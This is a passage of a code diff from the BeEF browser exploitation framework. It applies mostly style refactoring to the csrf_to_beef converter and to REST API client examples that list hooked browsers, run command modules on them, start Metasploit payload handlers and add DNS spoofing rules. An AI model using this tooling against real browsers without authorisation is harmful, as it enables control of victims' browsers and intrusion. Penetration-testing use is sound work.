--url \"http://example.com/index.html?param=value\"" + puts ' CSRF URL:' + puts ' ./csrf_to_beef --name "example csrf" --url "http://example.com/index.html?param=value"' puts - puts " CSRF URL (POST):" - puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html\" --method POST --post-data \"param1=value¶m2=value\"" + puts ' CSRF URL (POST):' + puts ' ./csrf_to_beef --name "example csrf" --url "http://example.com/index.html" --method POST --post-data "param1=value¶m2=value"' puts - puts " Burp Suite CSRF PoC file:" - puts " ./csrf_to_beef --name \"example csrf\" --file sample.html" + puts ' Burp Suite CSRF PoC file:' + puts ' ./csrf_to_beef --name "example csrf" --file sample.html' puts exit 1 end @@ -156,7 +156,7 @@ def get_options_from_url(url, method, postdata, mname) end end end - return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options} + return { target_url: target_url, method: method, enctype: enctype, options: options } end # @@ -176,10 +176,10 @@ def get_options_from_burp_file(fname, mname) # parse PoC file if html.to_s =~ /var xhr = new XMLHttpRequest/ - print_error "Could not parse PoC file - XMLHttpRequest is not yet supported." + print_error 'Could not parse PoC file - XMLHttpRequest is not yet supported.' exit 1 elsif html.to_s !~ /target_url, :method=>method, :enctype=>enctype, :options=>options} + return { target_url: target_url, method: method, enctype: enctype, options: options } end # @@ -256,7 +256,7 @@ def write_module(target_url, method='GET', enctype, options) print_debug com_file File.open("#{@class_name}/command.js", 'w') { |file| file.write(com_file) } - print_good "Complete!" + print_good 'Complete!' print_status "Now copy the '#{@class_name}' directory to the BeEF 'modules/exploits/' directory." print_debug "cp \"#{@class_name}\" ../../modules/exploits/ -R" diff --git a/tools/csrf_to_beef/lib/module.rb b/tools/csrf_to_beef/lib/module.rb index 9481226acd..e72b4df1ab 100644 --- a/tools/csrf_to_beef/lib/module.rb +++ b/tools/csrf_to_beef/lib/module.rb @@ -28,7 +28,7 @@ def generate(class_name) # class ModuleFile def generate(class_name, target_url, options) - options_rb = "" + options_rb = '' options.to_enum.with_index(1).each do |input, input_index| options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n" end @@ -61,7 +61,7 @@ def post_execute # class CommandFile def generate(class_name, method, enctype, options) - options_js = "" + options_js = '' options.to_enum.with_index(1).each do |input, input_index| options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n" end diff --git a/tools/csrf_to_beef/lib/output.rb b/tools/csrf_to_beef/lib/output.rb index fe3066bc61..71f92e1583 100644 --- a/tools/csrf_to_beef/lib/output.rb +++ b/tools/csrf_to_beef/lib/output.rb @@ -6,13 +6,13 @@ def colorize(color_code) "\e[#{color_code}m#{self}\e[0m" end - {:red => 31, - :green => 32, - :yellow => 33, - :blue => 34, - :pink => 35, - :cyan => 36, - :white => 37 + { red: 31, + green: 32, + yellow: 33, + blue: 34, + pink: 35, + cyan: 36, + white: 37 }.each { |color, code| define_method(color) { colorize(code) } } diff --git a/tools/maintenance/copyright_update.rb b/tools/maintenance/copyright_update.rb index 95cb45016d..a58a4689a1 100644 --- a/tools/maintenance/copyright_update.rb +++ b/tools/maintenance/copyright_update.rb @@ -36,18 +36,19 @@ def update_copyright(file_path, old_copyright, new_copyright) old_copyright = 'Copyright (c) 2006-2024' new_copyright = 'Copyright (c) 2006-2025' -Dir.glob("../../**/*.{rb,js,yaml,html,md,txt,css,c,nasm,java,php,as}").each do |file| +Dir.glob('../../**/*.{rb,js,yaml,html,md,txt,css,c,nasm,java,php,as}').each do |file| next if File.basename(file) == 'copyright_update.rb' # Skip this file + update_copyright(file, old_copyright, new_copyright) end # Handle files without extensions, excluding copyright_update.rb -Dir.glob("../../**/*").reject { |f| +Dir.glob('../../**/*').reject { |f| File.directory?(f) || File.extname(f) != '' || File.basename(f) == 'copyright_update.rb' }.each do |file| update_copyright(file, old_copyright, new_copyright) end -@log.info("Copyright update process completed.") -@log_file_logger.info("Copyright update process completed.") +@log.info('Copyright update process completed.') +@log_file_logger.info('Copyright update process completed.') log_file.close \ No newline at end of file diff --git a/tools/rest_api_examples/autorun b/tools/rest_api_examples/autorun index d38b96b5f7..a9828f8434 100644 --- a/tools/rest_api_examples/autorun +++ b/tools/rest_api_examples/autorun @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -66,20 +66,20 @@ print_status "Authenticating to: #{proto}://#{host}:#{port}" # Retrieve BeEF version @api.version -print_status("Retrieving Autorun rules") +print_status('Retrieving Autorun rules') rules = @api.autorun_rules print_debug(rules) -print_status("Adding a rule") +print_status('Adding a rule') res = @api.autorun_add_rule({ - "name": "Say Hello", - "author": "REST API", + "name": 'Say Hello', + "author": 'REST API', "modules": [ { - "name": "alert_dialog", + "name": 'alert_dialog', "options": { - "text":"Hello from REST API" + "text":'Hello from REST API' } } ], diff --git a/tools/rest_api_examples/browser-details b/tools/rest_api_examples/browser-details index cdd18943bb..6f78a388a8 100755 --- a/tools/rest_api_examples/browser-details +++ b/tools/rest_api_examples/browser-details @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -74,6 +74,7 @@ print_debug hooks # Retrieve hooked browser details hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving details for browser [id: #{hook['id']}]" details = @api.browser_details(hook['session']) print_debug details @@ -83,11 +84,13 @@ end # Retrieve hooked browser logs hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving logs for browser [id: #{hook['id']}]" logs = @api.browser_logs(hook['session']) print_debug logs logs['logs'].each do |log| next if log['id'].nil? + print_verbose "#{log['date']} - #{log['event']}" end end diff --git a/tools/rest_api_examples/clone_page b/tools/rest_api_examples/clone_page index 610c7f8d45..a2df80209f 100755 --- a/tools/rest_api_examples/clone_page +++ b/tools/rest_api_examples/clone_page @@ -13,9 +13,9 @@ require './lib/beef_rest_api' # API if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end diff --git a/tools/rest_api_examples/command-modules b/tools/rest_api_examples/command-modules index 3629af685c..ea668b505b 100755 --- a/tools/rest_api_examples/command-modules +++ b/tools/rest_api_examples/command-modules @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -77,6 +77,7 @@ print_debug modules # Retrieve module details modules.each do |m| next if m['id'].nil? + print_status "Retrieving module details [id: #{m['id']}]" details = @api.module_details(m['id']) print_debug details @@ -88,11 +89,12 @@ exit 1 if hooks.empty? print_debug hooks # Execute alert dialog on all online browsers -mod_id = @api.get_module_id "Alert_dialog" +mod_id = @api.get_module_id 'Alert_dialog' hooks.each do |hook| next if hook['id'].nil? + print_status "Executing module [id: #{mod_id}, browser: #{hook['id']}]" - result = @api.execute_module(hook['session'], mod_id, { "text" => "hello!" }) + result = @api.execute_module(hook['session'], mod_id, { 'text' => 'hello!' }) print_debug result end diff --git a/tools/rest_api_examples/dns b/tools/rest_api_examples/dns index ee48a292a6..920bceb3c7 100755 --- a/tools/rest_api_examples/dns +++ b/tools/rest_api_examples/dns @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -67,7 +67,7 @@ print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.version # Add a rule -print_status "Adding a DNS rule" +print_status 'Adding a DNS rule' pattern = 'beefproject.com' resource = 'A' response = ['127.0.0.1', '127.0.0.2'] @@ -76,7 +76,7 @@ print_debug result id = result['id'] # Retrieve ruleset -print_status "Retrieving DNS rule set" +print_status 'Retrieving DNS rule set' rules = @api.dns_ruleset print_debug rules @@ -90,7 +90,7 @@ result = @api.dns_delete_rule(id) print_debug result # Retrieve ruleset -print_status "Retrieving DNS rule set" +print_status 'Retrieving DNS rule set' rules = @api.dns_ruleset print_debug rules diff --git a/tools/rest_api_examples/export-logs b/tools/rest_api_examples/export-logs index e26f15d7e0..a48fca9e72 100755 --- a/tools/rest_api_examples/export-logs +++ b/tools/rest_api_examples/export-logs @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -71,6 +71,7 @@ logs = @api.logs print_debug logs logs['logs'].each do |log| next if log['id'].nil? + print_verbose "#{log['date']} - #{log['event']}" end @@ -82,11 +83,13 @@ print_debug hooks # Retrieve hooked browser logs hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving logs for browser [id: #{hook['id']}]" logs = @api.browser_logs(hook['session']) print_debug logs logs['logs'].each do |log| next if log['id'].nil? + print_verbose "#{log['date']} - #{log['event']}" end end diff --git a/tools/rest_api_examples/lib/beef_rest_api.rb b/tools/rest_api_examples/lib/beef_rest_api.rb index b3705c0894..3422a079b6 100644 --- a/tools/rest_api_examples/lib/beef_rest_api.rb +++ b/tools/rest_api_examples/lib/beef_rest_api.rb @@ -1,587 +1,580 @@ class BeefRestAPI -# initialize -def initialize proto = 'https', host = '127.0.0.1', port = '3000', user = 'beef', pass = 'beef' - @user = user - @pass = pass - @url = "#{proto}://#{host}:#{port}/api/" - @token = nil -end + # initialize + def initialize proto = 'https', host = '127.0.0.1', port = '3000', user = 'beef', pass = 'beef' + @user = user + @pass = pass + @url = "#{proto}://#{host}:#{port}/api/" + @token = nil + end -################################################################################ -### BeEF core API -################################################################################ - -# authenticate and get API token -def auth - print_verbose "Retrieving authentication token" - begin - response = RestClient.post "#{@url}admin/login", - { 'username' => "#{@user}", - 'password' => "#{@pass}" }.to_json, - :content_type => :json, - :accept => :json - result = JSON.parse(response.body) - @token = result['token'] - print_good "Retrieved RESTful API token: #{@token}" - rescue => e - print_error "Could not retrieve RESTful API token: #{e.message}" + ################################################################################ + ### BeEF core API + ################################################################################ + + # authenticate and get API token + def auth + print_verbose 'Retrieving authentication token' + begin + response = RestClient.post "#{@url}admin/login", + { 'username' => "#{@user}", + 'password' => "#{@pass}" }.to_json, + content_type: :json, + accept: :json + result = JSON.parse(response.body) + @token = result['token'] + print_good "Retrieved RESTful API token: #{@token}" + rescue => e + print_error "Could not retrieve RESTful API token: #{e.message}" + end end -end -# get BeEF version -def version - begin - response = RestClient.get "#{@url}server/version", {:params => {:token => @token}} - result = JSON.parse(response.body) - print_good "Retrieved BeEF version: #{result['version']}" - result['version'] - rescue => e - print_error "Could not retrieve BeEF version: #{e.message}" + # get BeEF version + def version + begin + response = RestClient.get "#{@url}server/version", { params: { token: @token } } + result = JSON.parse(response.body) + print_good "Retrieved BeEF version: #{result['version']}" + result['version'] + rescue => e + print_error "Could not retrieve BeEF version: #{e.message}" + end end -end -# get server mounts -def mounts - begin - response = RestClient.get "#{@url}server/mounts", {:params => {:token => @token}} - result = JSON.parse(response.body) - print_good "Retrieved BeEF server mounts: #{result['mounts']}" - result['mounts'] - rescue => e - print_error "Could not retrieve BeEF version: #{e.message}" + # get server mounts + def mounts + begin + response = RestClient.get "#{@url}server/mounts", { params: { token: @token } } + result = JSON.parse(response.body) + print_good "Retrieved BeEF server mounts: #{result['mounts']}" + result['mounts'] + rescue => e + print_error "Could not retrieve BeEF version: #{e.message}" + end end -end -# get online hooked browsers -def online_browsers - begin - print_verbose "Retrieving online browsers" - response = RestClient.get "#{@url}hooks", {:params => {:token => @token}} - result = JSON.parse(response.body) - browsers = result["hooked-browsers"]["online"] - print_good "Retrieved online browser list [#{browsers.size} online]" - browsers - rescue => e - print_error "Could not retrieve browser details: #{e.message}" + # get online hooked browsers + def online_browsers + begin + print_verbose 'Retrieving online browsers' + response = RestClient.get "#{@url}hooks", { params: { token: @token } } + result = JSON.parse(response.body) + browsers = result['hooked-browsers']['online'] + print_good "Retrieved online browser list [#{browsers.size} online]" + browsers + rescue => e + print_error "Could not retrieve browser details: #{e.message}" + end end -end -# get offline hooked browsers -def offline_browsers - begin - print_verbose "Retrieving offline browsers" - response = RestClient.get "#{@url}hooks", {:params => {:token => @token}} - result = JSON.parse(response.body) - browsers = result["hooked-browsers"]["offline"] - print_good "Retrieved offline browser list [#{browsers.size} offline]" - browsers - rescue => e - print_error "Could not retrieve browser details: #{e.message}" + # get offline hooked browsers + def offline_browsers + begin + print_verbose 'Retrieving offline browsers' + response = RestClient.get "#{@url}hooks", { params: { token: @token } } + result = JSON.parse(response.body) + browsers = result['hooked-browsers']['offline'] + print_good "Retrieved offline browser list [#{browsers.size} offline]" + browsers + rescue => e + print_error "Could not retrieve browser details: #{e.message}" + end end -end -# get hooked browser details by session -def browser_details session - begin - print_verbose "Retrieving browser details for hooked browser [session: #{session}]" - response = RestClient.get "#{@url}browserdetails/#{session}", {:params => {:token => @token}} - result = JSON.parse(response.body) - details = result['details'] - print_good "Retrieved #{details.size} browser details" - details - rescue => e - print_error "Could not retrieve browser details: #{e.message}" + # get hooked browser details by session + def browser_details session + begin + print_verbose "Retrieving browser details for hooked browser [session: #{session}]" + response = RestClient.get "#{@url}browserdetails/#{session}", { params: { token: @token } } + result = JSON.parse(response.body) + details = result['details'] + print_good "Retrieved #{details.size} browser details" + details + rescue => e + print_error "Could not retrieve browser details: #{e.message}" + end end -end -# delete a browser by session -def delete_browser session - begin - print_verbose "Removing hooked browser [session: #{session}]" - response = RestClient.get "#{@url}hooks/#{session}/delete", {:params => {:token => @token}} - print_good "Removed browser [session: #{session}]" if response.code == 200 - response - rescue => e - print_error "Could not delete hooked browser: #{e.message}" + # delete a browser by session + def delete_browser session + begin + print_verbose "Removing hooked browser [session: #{session}]" + response = RestClient.get "#{@url}hooks/#{session}/delete", { params: { token: @token } } + print_good "Removed browser [session: #{session}]" if response.code == 200 + response + rescue => e + print_error "Could not delete hooked browser: #{e.message}" + end end -end -# get BeEF logs -def logs - begin - print_verbose "Retrieving logs" - response = RestClient.get "#{@url}logs", {:params => {:token => @token}} - logs = JSON.parse(response.body) - print_good "Retrieved #{logs['logs_count']} log entries" - logs - rescue => e - print_error "Could not retrieve logs: #{e.message}" + # get BeEF logs + def logs + begin + print_verbose 'Retrieving logs' + response = RestClient.get "#{@url}logs", { params: { token: @token } } + logs = JSON.parse(response.body) + print_good "Retrieved #{logs['logs_count']} log entries" + logs + rescue => e + print_error "Could not retrieve logs: #{e.message}" + end end -end -# get hooked browser logs by session -def browser_logs session - begin - print_verbose "Retrieving browser logs [session: #{session}]" - response = RestClient.get "#{@url}logs/#{session}", {:params => {:token => @token}} - logs = JSON.parse(response.body) - print_good "Retrieved #{logs['logs'].size} browser logs" - logs - rescue => e - print_error "Could not retrieve browser logs: #{e.message}" + # get hooked browser logs by session + def browser_logs session + begin + print_verbose "Retrieving browser logs [session: #{session}]" + response = RestClient.get "#{@url}logs/#{session}", { params: { token: @token } } + logs = JSON.parse(response.body) + print_good "Retrieved #{logs['logs'].size} browser logs" + logs + rescue => e + print_error "Could not retrieve browser logs: #{e.message}" + end end -end -################################################################################ -### command module API -################################################################################ - -# get command module categories -def categories - begin - print_verbose "Retrieving module categories" - response = RestClient.get "#{@url}categories", {:params => {:token => @token}} - categories = JSON.parse(response.body) - print_good "Retrieved #{categories.size} module categories" - categories - rescue => e - print_error "Could not retrieve logs: #{e.message}" + ################################################################################ + ### command module API + ################################################################################ + + # get command module categories + def categories + begin + print_verbose 'Retrieving module categories' + response = RestClient.get "#{@url}categories", { params: { token: @token } } + categories = JSON.parse(response.body) + print_good "Retrieved #{categories.size} module categories" + categories + rescue => e + print_error "Could not retrieve logs: #{e.message}" + end end -end -# get command modules -def modules - begin - print_verbose "Retrieving modules" - response = RestClient.get "#{@url}modules", {:params => {:token => @token}} - @modules = JSON.parse(response.body) - print_good "Retrieved #{@modules.size} available command modules" - @modules - rescue => e - print_error "Could not retrieve modules: #{e.message}" + # get command modules + def modules + begin + print_verbose 'Retrieving modules' + response = RestClient.get "#{@url}modules", { params: { token: @token } } + @modules = JSON.parse(response.body) + print_good "Retrieved #{@modules.size} available command modules" + @modules + rescue => e + print_error "Could not retrieve modules: #{e.message}" + end end -end -# get module id by module short name -def get_module_id mod_name - print_verbose "Retrieving id for module [name: #{mod_name}]" - @modules.each do |mod| - # normal modules - if mod_name.capitalize == mod[1]["class"] - return mod[1]["id"] - break - # metasploit modules - elsif mod[1]["class"] == "Msf_module" && mod_name.capitalize == mod[1]["name"] - return mod[1]["id"] - break + # get module id by module short name + def get_module_id mod_name + print_verbose "Retrieving id for module [name: #{mod_name}]" + @modules.each do |mod| + # normal modules + if mod_name.capitalize == mod[1]['class'] + return mod[1]['id'] + break + # metasploit modules + elsif mod[1]['class'] == 'Msf_module' && mod_name.capitalize == mod[1]['name'] + return mod[1]['id'] + break + end end + nil end - nil -end -# get command module details -def module_details id - begin - print_verbose "Retrieving details for command module [id: #{id}]" - response = RestClient.get "#{@url}modules/#{id}", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved details for module [#{details['name']}]" - details - rescue => e - print_error "Could not retrieve modules: #{e.message}" + # get command module details + def module_details id + begin + print_verbose "Retrieving details for command module [id: #{id}]" + response = RestClient.get "#{@url}modules/#{id}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved details for module [#{details['name']}]" + details + rescue => e + print_error "Could not retrieve modules: #{e.message}" + end end -end -# execute module -def execute_module session, mod_id, options - print_verbose "Executing module [id: #{mod_id}, #{options}]" - begin - response = RestClient.post "#{@url}modules/#{session}/#{mod_id}?token=#{@token}", options.to_json, - :content_type => :json, - :accept => :json - result = JSON.parse(response.body) - if result['success'] == 'true' - print_good "Executed module [id: #{mod_id}]" - else - print_error "Could not execute module [id: #{mod_id}]" + # execute module + def execute_module session, mod_id, options + print_verbose "Executing module [id: #{mod_id}, #{options}]" + begin + response = RestClient.post "#{@url}modules/#{session}/#{mod_id}?token=#{@token}", options.to_json, + content_type: :json, + accept: :json + result = JSON.parse(response.body) + if result['success'] == 'true' + print_good "Executed module [id: #{mod_id}]" + else + print_error "Could not execute module [id: #{mod_id}]" + end + result + rescue => e + print_error "Could not start payload handler: #{e.message}" end - result - rescue => e - print_error "Could not start payload handler: #{e.message}" end -end + ################################################################################ + ### Metasploit API + ################################################################################ + + # get metasploit version + def msf_version + begin + response = RestClient.get "#{@url}msf/version", { params: { token: @token } } + result = JSON.parse(response.body) + version = result['version']['version'] + print_good "Retrieved Metasploit version: #{version}" + version + rescue => e + print_error "Could not retrieve Metasploit version: #{e.message}" + end + end -################################################################################ -### Metasploit API -################################################################################ + # get metasploit jobs + def msf_jobs + begin + response = RestClient.get "#{@url}msf/jobs", { params: { token: @token } } + result = JSON.parse(response.body) + jobs = result['jobs'] + print_good "Retrieved job list [#{jobs.size} jobs]" + jobs + rescue => e + print_error "Could not retrieve Metasploit job list: #{e.message}" + end + end -# get metasploit version -def msf_version - begin - response = RestClient.get "#{@url}msf/version", {:params => {:token => @token}} - result = JSON.parse(response.body) - version = result['version']['version'] - print_good "Retrieved Metasploit version: #{version}" - version - rescue => e - print_error "Could not retrieve Metasploit version: #{e.message}" + # get metasploit job info + def msf_job_info id + begin + response = RestClient.get "#{@url}msf/job/#{id}/info", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved job information [id: #{id}]" + details + rescue => e + print_error "Could not retrieve job info: #{e.message}" + end end -end -# get metasploit jobs -def msf_jobs - begin - response = RestClient.get "#{@url}msf/jobs", {:params => {:token => @token}} - result = JSON.parse(response.body) - jobs = result['jobs'] - print_good "Retrieved job list [#{jobs.size} jobs]" - jobs - rescue => e - print_error "Could not retrieve Metasploit job list: #{e.message}" + # start metasploit payload handler + def msf_handler options + print_verbose "Starting Metasploit payload handler [#{options}]" + begin + response = RestClient.post "#{@url}msf/handler?token=#{@token}", options.to_json, + content_type: :json, + accept: :json + result = JSON.parse(response.body) + job_id = result['id'] + if job_id.nil? + print_error 'Could not start payload handler: Job id is nil' + else + print_good "Started payload handler [id: #{job_id}]" + end + job_id + rescue => e + print_error "Could not start payload handler: #{e.message}" + end end -end -# get metasploit job info -def msf_job_info id - begin - response = RestClient.get "#{@url}msf/job/#{id}/info", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved job information [id: #{id}]" - details - rescue => e - print_error "Could not retrieve job info: #{e.message}" + # stop metasploit job + def msf_job_stop id + print_verbose "Stopping Metasploit job [id: #{id}]" + begin + response = RestClient.get "#{@url}msf/job/#{id}/stop", { params: { token: @token } } + result = JSON.parse(response.body) + if result['success'].nil? + print_error "Could not stop Metasploit job [id: #{id}]: No such job ?" + else + print_good "Stopped job [id: #{id}]" + end + result + rescue => e + print_error "Could not stop Metasploit job [id: #{id}]: #{e.message}" + end end -end -# start metasploit payload handler -def msf_handler options - print_verbose "Starting Metasploit payload handler [#{options}]" - begin - response = RestClient.post "#{@url}msf/handler?token=#{@token}", options.to_json, - :content_type => :json, - :accept => :json - result = JSON.parse(response.body) - job_id = result['id'] - if job_id.nil? - print_error "Could not start payload handler: Job id is nil" - else - print_good "Started payload handler [id: #{job_id}]" + ################################################################################ + ### Network API + ################################################################################ + + # get all network hosts + def network_hosts_all + begin + print_verbose 'Retrieving all network hosts' + response = RestClient.get "#{@url}network/hosts", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved #{details['count']} network hosts" + details + rescue => e + print_error "Could not retrieve network hosts: #{e.message}" end - job_id - rescue => e - print_error "Could not start payload handler: #{e.message}" end -end -# stop metasploit job -def msf_job_stop id - print_verbose "Stopping Metasploit job [id: #{id}]" - begin - response = RestClient.get "#{@url}msf/job/#{id}/stop", {:params => {:token => @token}} - result = JSON.parse(response.body) - if result['success'].nil? - print_error "Could not stop Metasploit job [id: #{id}]: No such job ?" - else - print_good "Stopped job [id: #{id}]" + # get all network services + def network_services_all + begin + print_verbose 'Retrieving all network services' + response = RestClient.get "#{@url}network/services", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved #{details['count']} network services" + details + rescue => e + print_error "Could not retrieve network services: #{e.message}" end - result - rescue => e - print_error "Could not stop Metasploit job [id: #{id}]: #{e.message}" end -end + # get network hosts by session + def network_hosts session + begin + print_verbose "Retrieving network hosts for hooked browser [session: #{session}]" + response = RestClient.get "#{@url}network/hosts/#{session}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved #{details['count']} network hosts" + details + rescue => e + print_error "Could not retrieve network hosts: #{e.message}" + end + end + + # get network services by session + def network_services session + begin + print_verbose "Retrieving network services for hooked browser [session: #{session}]" + response = RestClient.get "#{@url}network/services/#{session}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved #{details['count']} network services" + details + rescue => e + print_error "Could not retrieve network services: #{e.message}" + end + end -################################################################################ -### Network API -################################################################################ + ################################################################################ + ### XssRays API + ################################################################################ -# get all network hosts -def network_hosts_all - begin - print_verbose "Retrieving all network hosts" - response = RestClient.get "#{@url}network/hosts", {:params => {:token => @token}} + # get all rays + def xssrays_rays_all + print_verbose 'Retrieving all rays' + response = RestClient.get "#{@url}xssrays/rays", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} network hosts" + print_good "Retrieved #{details['count']} rays" details rescue => e - print_error "Could not retrieve network hosts: #{e.message}" + print_error "Could not retrieve rays: #{e.message}" end -end -# get all network services -def network_services_all - begin - print_verbose "Retrieving all network services" - response = RestClient.get "#{@url}network/services", {:params => {:token => @token}} + # get rays by session + def xssrays_rays session + print_verbose "Retrieving rays for hooked browser [session: #{session}]" + response = RestClient.get "#{@url}xssrays/rays/#{session}", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} network services" + print_good "Retrieved #{details['count']} rays" details rescue => e - print_error "Could not retrieve network services: #{e.message}" + print_error "Could not retrieve rays: #{e.message}" end -end -# get network hosts by session -def network_hosts session - begin - print_verbose "Retrieving network hosts for hooked browser [session: #{session}]" - response = RestClient.get "#{@url}network/hosts/#{session}", {:params => {:token => @token}} + # get all scans + def xssrays_scans_all + print_verbose 'Retrieving all scans' + response = RestClient.get "#{@url}xssrays/scans", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} network hosts" + print_good "Retrieved #{details['count']} scans" details rescue => e - print_error "Could not retrieve network hosts: #{e.message}" + print_error "Could not retrieve scans: #{e.message}" end -end -# get network services by session -def network_services session - begin - print_verbose "Retrieving network services for hooked browser [session: #{session}]" - response = RestClient.get "#{@url}network/services/#{session}", {:params => {:token => @token}} + # get scans by session + def xssrays_scans session + print_verbose "Retrieving scans for hooked browser [session: #{session}]" + response = RestClient.get "#{@url}xssrays/scans/#{session}", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} network services" + print_good "Retrieved #{details['count']} scans" details rescue => e - print_error "Could not retrieve network services: #{e.message}" + print_error "Could not retrieve scans: #{e.message}" end -end + ################################################################################ + ### DNS API + ################################################################################ + + # get ruleset + def dns_ruleset + begin + print_verbose 'Retrieving DNS ruleset' + response = RestClient.get "#{@url}dns/ruleset", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved #{details['count']} rules" + details + rescue => e + print_error "Could not retrieve DNS ruleset: #{e.message}" + end + end -################################################################################ -### XssRays API -################################################################################ - -# get all rays -def xssrays_rays_all - print_verbose "Retrieving all rays" - response = RestClient.get "#{@url}xssrays/rays", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} rays" - details -rescue => e - print_error "Could not retrieve rays: #{e.message}" -end - -# get rays by session -def xssrays_rays session - print_verbose "Retrieving rays for hooked browser [session: #{session}]" - response = RestClient.get "#{@url}xssrays/rays/#{session}", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} rays" - details -rescue => e - print_error "Could not retrieve rays: #{e.message}" -end - -# get all scans -def xssrays_scans_all - print_verbose "Retrieving all scans" - response = RestClient.get "#{@url}xssrays/scans", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} scans" - details -rescue => e - print_error "Could not retrieve scans: #{e.message}" -end - -# get scans by session -def xssrays_scans session - print_verbose "Retrieving scans for hooked browser [session: #{session}]" - response = RestClient.get "#{@url}xssrays/scans/#{session}", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} scans" - details -rescue => e - print_error "Could not retrieve scans: #{e.message}" -end + # add a rule + def dns_add_rule(dns_pattern, dns_resource, dns_response) + dns_response = [dns_response] if dns_response.is_a?(String) + print_verbose "Adding DNS rule [pattern: #{dns_pattern}, resource: #{dns_resource}, response: #{dns_response}]" + response = RestClient.post "#{@url}dns/rule?token=#{@token}", { + 'pattern' => dns_pattern, + 'resource' => dns_resource, + 'response' => dns_response }.to_json, + content_type: :json, + accept: :json + details = JSON.parse(response.body) + rule_id = details['id'] + if rule_id.nil? + print_error("Could not add DNS rule: #{details['error']}") + return details + end + print_good "Added rule [id: #{details['id']}]" + details + rescue => e + print_error "Could not add DNS rule: #{e.message}" + end -################################################################################ -### DNS API -################################################################################ + # get rule details + def dns_get_rule(id) + begin + print_verbose "Retrieving DNS rule details [id: #{id}]" + response = RestClient.get "#{@url}dns/rule/#{id}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved rule [id: #{details['id']}]" + details + rescue => e + print_error "Could not retrieve DNS rule: #{e.message}" + end + end -# get ruleset -def dns_ruleset - begin - print_verbose "Retrieving DNS ruleset" - response = RestClient.get "#{@url}dns/ruleset", {:params => {:token => @token}} + # delete a rule + def dns_delete_rule(id) + response = RestClient.delete "#{@url}dns/rule/#{id}?token=#{@token}" details = JSON.parse(response.body) - print_good "Retrieved #{details['count']} rules" + print_good "Deleted rule [id: #{id}]" details rescue => e - print_error "Could not retrieve DNS ruleset: #{e.message}" + print_error "Could not delete DNS rule: #{e.message}" end -end -# add a rule -def dns_add_rule(dns_pattern, dns_resource, dns_response) - dns_response = [dns_response] if dns_response.is_a?(String) - print_verbose "Adding DNS rule [pattern: #{dns_pattern}, resource: #{dns_resource}, response: #{dns_response}]" - response = RestClient.post "#{@url}dns/rule?token=#{@token}", { - 'pattern' => dns_pattern, - 'resource' => dns_resource, - 'response' => dns_response }.to_json, - :content_type => :json, - :accept => :json - details = JSON.parse(response.body) - rule_id = details['id'] - - if rule_id.nil? - print_error("Could not add DNS rule: #{details['error']}") - return details - end - - print_good "Added rule [id: #{details['id']}]" - details -rescue => e - 